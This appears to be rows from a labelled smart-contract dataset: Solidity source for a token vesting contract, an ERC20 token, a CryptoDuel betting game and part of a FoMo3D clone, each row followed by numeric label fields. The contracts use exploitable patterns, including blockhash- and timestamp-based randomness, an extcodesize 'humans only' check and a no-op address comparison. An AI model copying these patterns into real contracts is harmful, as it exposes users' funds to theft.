function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenVesting is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct VestedToken{
uint256 cliff;
uint256 start;
uint256 duration;
uint256 releasedToken;
uint256 totalToken;
bool revoked;
}
mapping (address => VestedToken) public vestedUser;
uint256 private _cliff = 2592000;
uint256 private _duration = 93312000;
bool private _revoked = false;
IERC20 public LCXToken;
event TokenReleased(address indexed account, uint256 amount);
event VestingRevoked(address indexed account);
modifier onlyLCXTokenAndOwner() {
require(msg.sender==owner() || msg.sender == address(LCXToken));
_;
}
function setTokenAddress(IERC20 token) public onlyOwner returns(bool){
LCXToken = token;
return true;
}
function setDefaultVesting(address account, uint256 amount) public onlyLCXTokenAndOwner returns(bool){
_setDefaultVesting(account, amount);
return true;
}
function _setDefaultVesting(address account, uint256 amount) internal {
require(account!=address(0));
VestedToken storage vested = vestedUser[account];
vested.cliff = _cliff;
vested.start = block.timestamp;
vested.duration = _duration;
vested.totalToken = amount;
vested.releasedToken = 0;
vested.revoked = _revoked;
}
function setVesting(address account, uint256 amount, uint256 cliff, uint256 duration, uint256 startAt ) public onlyLCXTokenAndOwner returns(bool){
_setVesting(account, amount, cliff, duration, startAt);
return true;
}
function _setVesting(address account, uint256 amount, uint256 cliff, uint256 duration, uint256 startAt) internal {
require(account!=address(0));
require(cliff<=duration);
VestedToken storage vested = vestedUser[account];
vested.cliff = cliff;
vested.start = startAt;
vested.duration = duration;
vested.totalToken = amount;
vested.releasedToken = 0;
vested.revoked = false;
}
function releaseMyToken() public returns(bool) {
releaseToken(msg.sender);
return true;
}
function releaseToken(address account) public {
require(account != address(0));
VestedToken storage vested = vestedUser[account];
uint256 unreleasedToken = _releasableAmount(account);
require(unreleasedToken>0);
vested.releasedToken = vested.releasedToken.add(unreleasedToken);
LCXToken.safeTransfer(account,unreleasedToken);
emit TokenReleased(account, unreleasedToken);
}
function _releasableAmount(address account) internal view returns (uint256) {
return _vestedAmount(account).sub(vestedUser[account].releasedToken);
}
function _vestedAmount(address account) internal view returns (uint256) {
VestedToken storage vested = vestedUser[account];
uint256 totalToken = vested.totalToken;
if(block.timestamp < vested.start.add(vested.cliff)){
return 0;
}else if(block.timestamp >= vested.start.add(vested.duration) || vested.revoked){
return totalToken;
}else{
uint256 numberOfPeriods = (block.timestamp.sub(vested.start)).div(vested.cliff);
return totalToken.mul(numberOfPeriods.mul(vested.cliff)).div(vested.duration);
}
}
function revoke(address account) public onlyOwner {
VestedToken storage vested = vestedUser[account];
require(!vested.revoked);
uint256 balance = vested.totalToken;
uint256 unreleased = _releasableAmount(account);
uint256 refund = balance.sub(unreleased);
vested.revoked = true;
vested.totalToken = unreleased;
LCXToken.safeTransfer(owner(), refund);
emit VestingRevoked(account);
}
} | 1 | 2,450 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BwinToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply = 1000000000000000000;
string public constant name = "BwinToken";
string public constant symbol = "BWINT";
uint public constant decimals = 8;
function BwinToken(){
balances[msg.sender] = totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () {
throw;
}
} | 1 | 2,226 |
pragma solidity ^0.4.25;
contract SafeMath {
function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
assert(y <= x);
uint256 z = x - y;
return z;
}
function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x / y;
return z;
}
function safeMul(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
return z;
}
function safePerc(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
z = z / 10000;
return z;
}
function min(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x <= y ? x : y;
return z;
}
function max(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x >= y ? x : y;
return z;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
assert(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
}
contract Agent is Ownable {
address public defAgent;
mapping(address => bool) public Agents;
event UpdatedAgent(address _agent, bool _status);
constructor() public {
defAgent = msg.sender;
Agents[msg.sender] = true;
}
modifier onlyAgent() {
assert(Agents[msg.sender]);
_;
}
function updateAgent(address _agent, bool _status) public onlyOwner {
assert(_agent != address(0));
Agents[_agent] = _status;
emit UpdatedAgent(_agent, _status);
}
}
contract CryptoDuel is Agent, SafeMath {
uint public fee = 100;
uint public refGroupFee = 5000;
uint public refUserFee = 1000;
uint public min = 1000000000000000;
uint public max = 1000000000000000000000;
uint256 public start = 0;
uint256 public period = 30 days;
enum State{New, Deleted, OnGoing, Closed}
struct _duel {
address creator;
address responder;
uint bet;
uint blocknumber;
int refID;
State state;
}
_duel[] public Duels;
mapping(int => address) public RefGroup;
mapping(address => address) public RefAddr;
mapping(uint => address) public duelWinner;
mapping(uint => uint) public reward;
mapping(address => uint) public rewardGroup;
mapping(address => uint) public rewardAddr;
mapping(uint => bool) public AlreadyReward;
event newDuel(uint duel, address indexed creator, address indexed responder, uint bet, int refID);
event deleteDuel(uint duel);
event respondDuel(uint duel, address indexed responder);
event refundDuel(uint duel);
event resultDuel(uint duel, address indexed winner, uint sum);
event changeMin(uint min);
event changeMax(uint max);
event changeRefGroup(int ID, address referrer);
event changeRefAddr(address referal, address referrer);
event changeFee(uint fee);
event changeRefGroupFee(uint refGroupFee);
event changeRefFee(uint refFee);
event withdrawProfit(uint fee, address RefGroup);
event UpdatedPeriod(uint _period);
constructor() public {
RefGroup[0] = msg.sender;
emit changeRefGroup(0, msg.sender);
}
function CreateDuel(address _responder) payable external {
require(msg.value >= min && msg.value <= max);
Duels.push(_duel({
creator : msg.sender,
responder : _responder,
bet : msg.value,
blocknumber : 0,
state : State.New,
refID : 0
}));
emit newDuel(Duels.length - 1, msg.sender, _responder, msg.value, 0);
}
function CreateDuel(address _responder, int _refID) payable external {
require(msg.value >= min && msg.value <= max);
require(RefGroup[_refID] != address(0));
Duels.push(_duel({
creator : msg.sender,
responder : _responder,
bet : msg.value,
blocknumber : 0,
state : State.New,
refID : _refID
}));
emit newDuel(Duels.length - 1, msg.sender, _responder, msg.value, _refID);
}
function RespondDuel(uint _duelID) payable external {
_duel storage duel = Duels[_duelID];
require(duel.state == State.New);
require(duel.bet == msg.value);
require(duel.responder == msg.sender || duel.responder == address(0));
duel.state = State.OnGoing;
duel.responder = msg.sender;
duel.blocknumber = block.number;
emit respondDuel(_duelID, msg.sender);
}
function DeleteDuel(uint _duelID) external {
_duel storage duel = Duels[_duelID];
require(duel.creator == msg.sender);
require(duel.state == State.New);
duel.state = State.Deleted;
uint duel_fee = safePerc(duel.bet, fee);
uint256 N = 1;
if (block.timestamp > start) {
N = (block.timestamp - start) / period + 1;
}
reward[N] = safeAdd(reward[N], duel_fee);
duel.creator.transfer(safeSub(duel.bet, duel_fee));
emit deleteDuel(_duelID);
}
function GetWin(uint _duelID) external {
_duel storage duel = Duels[_duelID];
require(duel.state == State.OnGoing);
require(duel.creator == msg.sender || duel.responder == msg.sender);
require(block.number > duel.blocknumber + 1);
duel.state = State.Closed;
uint duel_fee = 0;
uint256 N = 1;
if (block.timestamp > start) {
N = (block.timestamp - start) / period + 1;
}
if (blockhash(duel.blocknumber) == 0 || (block.number - duel.blocknumber) > 256) {
duel_fee = safePerc(duel.bet, fee);
duel.creator.transfer(safeSub(duel.bet, duel_fee));
duel.responder.transfer(safeSub(duel.bet, duel_fee));
reward[N] = safeAdd(reward[N], safeMul(2, duel_fee));
emit refundDuel(_duelID);
duelWinner[_duelID] = address(0);
} else {
uint hash = uint(keccak256(abi.encodePacked(blockhash(duel.blocknumber + 1), duel.creator, duel.responder, duel.bet)));
uint duel_bet_common = safeMul(2, duel.bet);
duel_fee = safePerc(duel_bet_common, fee);
uint _refFee = 0;
uint sum = safeSub(duel_bet_common, duel_fee);
address winner;
if (hash % 2 == 0) {
duel.creator.transfer(sum);
winner = duel.creator;
emit resultDuel(_duelID, duel.creator, sum);
} else {
duel.responder.transfer(sum);
winner = duel.responder;
emit resultDuel(_duelID, duel.responder, sum);
}
duelWinner[_duelID] = winner;
if (RefAddr[winner] != address(0)) {
_refFee = refUserFee;
rewardAddr[RefAddr[winner]] = safeAdd(rewardAddr[RefAddr[winner]], safePerc(duel_fee, _refFee));
}
if (duel.refID != 0) {
_refFee = safeSub(refGroupFee, _refFee);
rewardGroup[RefGroup[duel.refID]] = safeAdd(rewardGroup[RefGroup[duel.refID]], safePerc(duel_fee, _refFee));
reward[N] = safeAdd(reward[N], safeSub(duel_fee, safePerc(duel_fee, refGroupFee)));
} else {
reward[N] = safeAdd(reward[N], safeSub(duel_fee, safePerc(duel_fee, _refFee)));
}
}
}
function setMin(uint _min) external onlyOwner {
min = _min;
emit changeMin(_min);
}
function setMax(uint _max) external onlyOwner {
max = _max;
emit changeMax(_max);
}
function setFee(uint _fee) external onlyOwner {
fee = _fee;
emit changeFee(_fee);
}
function setRefGroupFee(uint _refGroupFee) external onlyOwner {
refGroupFee = _refGroupFee;
emit changeRefGroupFee(_refGroupFee);
}
function setRefUserFee(uint _refFee) external onlyOwner {
refUserFee = _refFee;
emit changeRefFee(_refFee);
}
function setRefGroup(int _ID, address _referrer) external onlyAgent {
RefGroup[_ID] = _referrer;
emit changeRefGroup(_ID, _referrer);
}
function setRefAddr(address _referral, address _referrer) external onlyAgent {
RefAddr[_referral] = _referrer;
emit changeRefAddr(_referral, _referrer);
}
function withdraw() external onlyOwner returns (bool success) {
uint256 N = 1;
if (block.timestamp > start) {
N = (block.timestamp - start) / period;
}
if (!AlreadyReward[N]) {
uint amount = reward[N];
AlreadyReward[N] = true;
msg.sender.transfer(amount);
emit withdrawProfit(amount, msg.sender);
return true;
} else {
return false;
}
}
function withdrawRefGroup() external returns (bool success) {
require(rewardGroup[msg.sender] > 0);
uint amount = rewardGroup[msg.sender];
rewardGroup[msg.sender] = 0;
msg.sender.transfer(amount);
emit withdrawProfit(amount, msg.sender);
return true;
}
function withdrawRefAddr() external returns (bool success) {
require(rewardAddr[msg.sender] > 0);
uint amount = rewardAddr[msg.sender];
rewardAddr[msg.sender] = 0;
msg.sender.transfer(amount);
emit withdrawProfit(amount, msg.sender);
return true;
}
function withdrawRefBoth() external returns (bool success) {
require(rewardAddr[msg.sender] > 0 || rewardGroup[msg.sender] > 0);
uint amount = safeAdd(rewardAddr[msg.sender], rewardGroup[msg.sender]);
rewardAddr[msg.sender] = 0;
rewardGroup[msg.sender] = 0;
msg.sender.transfer(amount);
emit withdrawProfit(amount, msg.sender);
return true;
}
function setPeriod(uint _period) external onlyOwner {
period = _period;
emit UpdatedPeriod(_period);
}
function setStart(uint _start) external onlyOwner {
start = _start;
}
} | 0 | 1,037 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xb5D11729091944B8A1af2f02414321BbFBA971ae);
address private admin = msg.sender;
string constant public name = "FOMO Short";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
